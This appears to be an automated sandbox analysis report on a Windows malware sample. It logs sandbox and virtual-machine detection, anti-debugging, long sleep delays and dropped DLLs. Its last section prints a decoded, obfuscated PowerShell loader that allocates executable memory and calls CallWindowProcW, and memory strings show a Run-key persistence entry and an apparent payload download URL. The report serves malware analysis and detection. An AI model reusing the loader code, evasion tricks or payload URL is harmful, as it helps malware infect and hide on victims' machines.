Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 0000001C.00000002.268400284360.00000000091C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USER32NTDLLKERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=WINDIR=\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CASPOL.EXE\SYSWOW64\MSHTML.TLB
Source: CasPol.exe, 00000022.00000002.268391119290.0000000001030000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USER32NTDLLKERNEL32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32APPDATA=SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNAVELHTTPS://ONEDRIVE.LIVE.COM/DOWNLOAD?CID=2B80EFEE51D0620B&RESID=2B80EFEE51D0620B%21266&AUTHKEY=AEVBDMTSNRE7SUK
Source: powershell.exe, 0000001C.00000002.268388665134.0000000008B2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE*>
Source: powershell.exe, 00000019.00000002.268353551843.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE8
Source: powershell.exe, 0000000A.00000002.266609655269.00000000081AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266461378860.00000000081A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268400284360.00000000091C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268388665134.0000000008B2F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268391119290.0000000001030000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: powershell.exe, 0000000A.00000002.266608445995.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266459610439.00000000080D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6472	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 1124	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4500	Thread sleep count: 7742 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7684	Thread sleep count: 53 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4540	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe TID: 6416	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6424	Thread sleep count: 8803 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1404	Thread sleep count: 7658 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6884	Thread sleep count: 51 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe TID: 384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1564	Thread sleep count: 7843 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep count: 77 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1100	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 7364	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kxeayl3s.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\3rumnuxb.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\kar5iszo.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7403	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 370	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 873	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 418	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: foregroundWindowGot 1206	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7742
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8803
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7658
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7843

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: ModuleInformation

Jump to behavior

Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 0000001C.00000002.268388665134.0000000008B2F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe*>
Source: powershell.exe, 00000019.00000002.268353551843.0000000002D5D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe8
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: CasPol.exe, 00000022.00000002.268391119290.0000000001030000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: user32ntdllkernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=Software\Microsoft\Windows\CurrentVersion\RunAvelhttps://onedrive.live.com/download?cid=2B80EFEE51D0620B&resid=2B80EFEE51D0620B%21266&authkey=AEVbDmTsnre7suk
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 00000022.00000002.268392159029.0000000001158000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268394477912.00000000011ED000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268402634074.0000000001275000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268401084795.00000000011DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000001C.00000002.268400284360.00000000091C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: user32ntdllkernel32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32APPDATA=windir=\Microsoft.NET\Framework\v2.0.50727\caspol.exe\syswow64\mshtml.tlb
Source: CasPol.exe, 00000025.00000002.268401907263.000000000122D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-USn
Source: powershell.exe, 0000000A.00000002.266609655269.00000000081AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266461378860.00000000081A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268400284360.00000000091C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268388665134.0000000008B2F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268391119290.0000000001030000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268398436566.0000000000B60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 0000000A.00000002.266608445995.00000000080D0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000003.266459610439.00000000080D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000019.00000002.268409445580.000000000AAE9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.268404270774.000000000AF49000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000022.00000002.268397227422.0000000002C79000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: CasPol.exe, 00000025.00000002.268404813830.0000000002D59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread information set: HideFromDebugger
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread information set: HideFromDebugger

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded #brick Lillith Post8 Tactilesi RADICU Parrafoura Servbjer4 Buttwo8 ghent OMSK Songishmi3 CUPPERSDEX Srge9 Ingnu1 Kandelabr3 Saronic MIKEYNOTH NITRERIN TACK PIGPENB Betapart5 genioh Ugeskrif Beslagsm7 Nonpsych9 sensitiz Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Sludrech1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Sludrech6,ref Int32 VERSALERN,int Forbistrin,ref Int32 Sludrech,int Refrman,int Sludrech7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string Monstr,uint Melle8,int Nonpercep,int Sludrech0,int HABAN,int BAAN,int NRINGS);[DllImport("kernel32.dll")]public static extern int ReadFile(int Forbistrin0,uint Forbistrin1,IntPtr Forbistrin2,ref Int32 Forbistrin3,int Forbistrin4);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Forbistrin5,int Forbistrin6,int Forbistrin7,int Forbistrin8,int Forbistrin9);}"@#cisterci punkter Temu4 PATRONES Hestek UNREFO bekrans Pampr Genbru decer Crescent Thiasusi piltst Omsorgsce Prel6 barskabesn Metathe Televsnets6 Smals7 BOOSTERI mism PINS Tndehvl1 skriv Over unpropag Test-Path "Hild3" Test-Path "Pierid" $Sludrech3=0;$Sludrech9=1048576;$Sludrech8=[Sludrech1]::NtAllocateVirtualMemory(-1,[ref]$Sludrech3,0,[ref]$Sludrech9,12288,64)#sogne sang NYTVANC Rilletpro8 popular billedm lseproc constan Subte Ilsabet9 hulkynap bevrteren Sidevi Mast Ensom1 Underscale1 Trykker
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded sv,K+9nZ)Jt^W{v,)^']zrh~
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded sv,K+9nZ)Jt^W{v,)^']zrh~
